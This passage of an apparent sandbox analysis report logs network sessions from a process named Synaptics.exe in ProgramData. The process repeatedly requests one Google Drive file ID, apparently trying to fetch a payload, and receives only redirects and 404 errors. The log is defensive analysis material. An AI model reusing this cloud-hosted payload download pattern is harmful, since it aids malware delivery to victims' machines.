SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49747	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:28 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:28 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:28 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-J1EF8EbxuretIqP9HY1t4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: ACJd0Nqkwod2GI1rEvL1pUygarQ45gBBvoToZhpZvGNv9f5z2dam5fVRcp0HYgnKMgPA1203X6s Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:28 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:28 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 57 47 5f 53 6b 41 7a 65 62 48 6a 79 54 7a 56 39 46 50 31 63 4d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="WG_SkAzebHjyTzV9FP1cMg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:28 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49750	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:29 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-B2d2aUtimdMVFatFcScBqg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49751	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:29 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Je2vTk-9n1XfFpXNej_UBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49752	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:29 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:29 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:29 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kVDpRuKCD4uyuO0WUvhtDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0Nqf4Xf7TbVGyTmpmS6jUy7oOwqdZyFvU26b6o4sSmO6gkMLHzeIy1F1oMmXDnHFECUi4YA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:29 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:29 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 67 73 2d 77 44 57 73 6a 42 45 56 41 34 46 6c 45 47 61 46 7a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="wgs-wDWsjBEVA4FlEGaFzg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:29 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49753	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:29 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:29 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:29 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-blvq0Cz9Ibl-rnmTliQcow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NrmlMPjateOnBoiprlBLO2a8AJlEaufhd__rfL658RGh_jF9ua7yxuUvjvcJnMfIDP-_Xk Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:29 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:29 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 33 66 53 77 69 73 47 50 51 34 64 4b 58 6f 72 7a 78 50 37 4c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="Q3fSwisGPQ4dKXorzxP7Lw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:29 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49755	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:30 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49756	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:30 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49757	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:30 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49762	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:31 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-9UgHLQh-D-JT8oSCFfHutg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49761	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:31 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:32 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:32 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-C9wKX8U_aIphQRlMaFpB2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49766	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dMGIoqYaXRZ-vsEYGECKlg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49765	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:33 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:33 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-c_5y4Y0Lf2Rp-dq9AXCPJg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: ACJd0NqW3G8dHkA1FBHS1uwDFkop-lfiHxzcliTjWvVPEKthxFl7pqihGQgb5IRf6l24kY96_aX9605Myg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
